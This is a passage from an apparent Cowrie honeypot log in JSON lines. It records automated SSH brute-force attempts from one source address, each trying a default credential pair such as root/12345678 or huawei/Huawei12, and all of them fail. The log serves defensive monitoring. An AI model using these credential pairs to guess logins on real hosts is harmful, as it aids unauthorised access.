0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:00.521613Z","src_ip":"45.156.87.254","session":"ef59c2f2564d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:00.775435Z","src_ip":"45.156.87.254","session":"ef59c2f2564d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:01.869900Z","src_ip":"45.156.87.254","session":"ef59c2f2564d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45668,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2071a913698","protocol":"ssh","message":"New connection: 45.156.87.254:45668 (159.203.135.109:22) [session: e2071a913698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:05.579921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:05.588087Z","src_ip":"45.156.87.254","session":"e2071a913698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:05.675113Z","src_ip":"45.156.87.254","session":"e2071a913698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:05.934516Z","src_ip":"45.156.87.254","session":"e2071a913698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:07.025725Z","src_ip":"45.156.87.254","session":"e2071a913698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59642,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1abf57dacd8","protocol":"ssh","message":"New connection: 45.156.87.254:59642 (159.203.135.109:22) [session: a1abf57dacd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:10.987966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:11.001381Z","src_ip":"45.156.87.254","session":"a1abf57dacd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:11.091109Z","src_ip":"45.156.87.254","session":"a1abf57dacd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:11.474914Z","src_ip":"45.156.87.254","session":"a1abf57dacd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34812,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a1929f8f65f","protocol":"telnet","message":"New connection: 104.245.105.2:34812 (10.17.0.5:23) [session: 7a1929f8f65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:12.429666Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:12.568583Z","src_ip":"45.156.87.254","session":"a1abf57dacd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59652,"dst_ip":"159.203.135.109","dst_port":22,"session":"3163b5f206b2","protocol":"ssh","message":"New connection: 45.156.87.254:59652 (159.203.135.109:22) [session: 3163b5f206b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:16.547449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:16.553685Z","src_ip":"45.156.87.254","session":"3163b5f206b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:16.651282Z","src_ip":"45.156.87.254","session":"3163b5f206b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:16.902053Z","src_ip":"45.156.87.254","session":"3163b5f206b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:18.008471Z","src_ip":"45.156.87.254","session":"3163b5f206b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52574,"dst_ip":"159.203.135.109","dst_port":22,"session":"a168a172c627","protocol":"ssh","message":"New connection: 45.156.87.254:52574 (159.203.135.109:22) [session: a168a172c627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:22.081095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:22.093212Z","src_ip":"45.156.87.254","session":"a168a172c627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:22.177969Z","src_ip":"45.156.87.254","session":"a168a172c627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:22.435459Z","src_ip":"45.156.87.254","session":"a168a172c627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:23.623114Z","src_ip":"45.156.87.254","session":"a168a172c627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52580,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b2671f0b317","protocol":"ssh","message":"New connection: 45.156.87.254:52580 (159.203.135.109:22) [session: 1b2671f0b317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:27.468135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:27.479298Z","src_ip":"45.156.87.254","session":"1b2671f0b317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:27.557516Z","src_ip":"45.156.87.254","session":"1b2671f0b317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:27.881175Z","src_ip":"45.156.87.254","session":"1b2671f0b317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:28.969002Z","src_ip":"45.156.87.254","session":"1b2671f0b317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39340,"dst_ip":"159.203.135.109","dst_port":22,"session":"a38a2957b3ce","protocol":"ssh","message":"New connection: 45.156.87.254:39340 (159.203.135.109:22) [session: a38a2957b3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:32.878216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:32.889397Z","src_ip":"45.156.87.254","session":"a38a2957b3ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:32.988471Z","src_ip":"45.156.87.254","session":"a38a2957b3ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:33.556058Z","src_ip":"45.156.87.254","session":"a38a2957b3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:34.645024Z","src_ip":"45.156.87.254","session":"a38a2957b3ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39348,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f933b2ca648","protocol":"ssh","message":"New connection: 45.156.87.254:39348 (159.203.135.109:22) [session: 6f933b2ca648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:38.172008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:38.176307Z","src_ip":"45.156.87.254","session":"6f933b2ca648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:38.262211Z","src_ip":"45.156.87.254","session":"6f933b2ca648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:38.653358Z","src_ip":"45.156.87.254","session":"6f933b2ca648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:39.739505Z","src_ip":"45.156.87.254","session":"6f933b2ca648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44464,"dst_ip":"159.203.135.109","dst_port":22,"session":"20700d95bb80","protocol":"ssh","message":"New connection: 45.156.87.254:44464 (159.203.135.109:22) [session: 20700d95bb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:43.302493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:43.315534Z","src_ip":"45.156.87.254","session":"20700d95bb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:43.408381Z","src_ip":"45.156.87.254","session":"20700d95bb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:43.665173Z","src_ip":"45.156.87.254","session":"20700d95bb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.36832571029663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:43.797876Z","src_ip":"104.245.105.2","session":"7a1929f8f65f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:44.777836Z","src_ip":"45.156.87.254","session":"20700d95bb80","protocol":"ssh"}
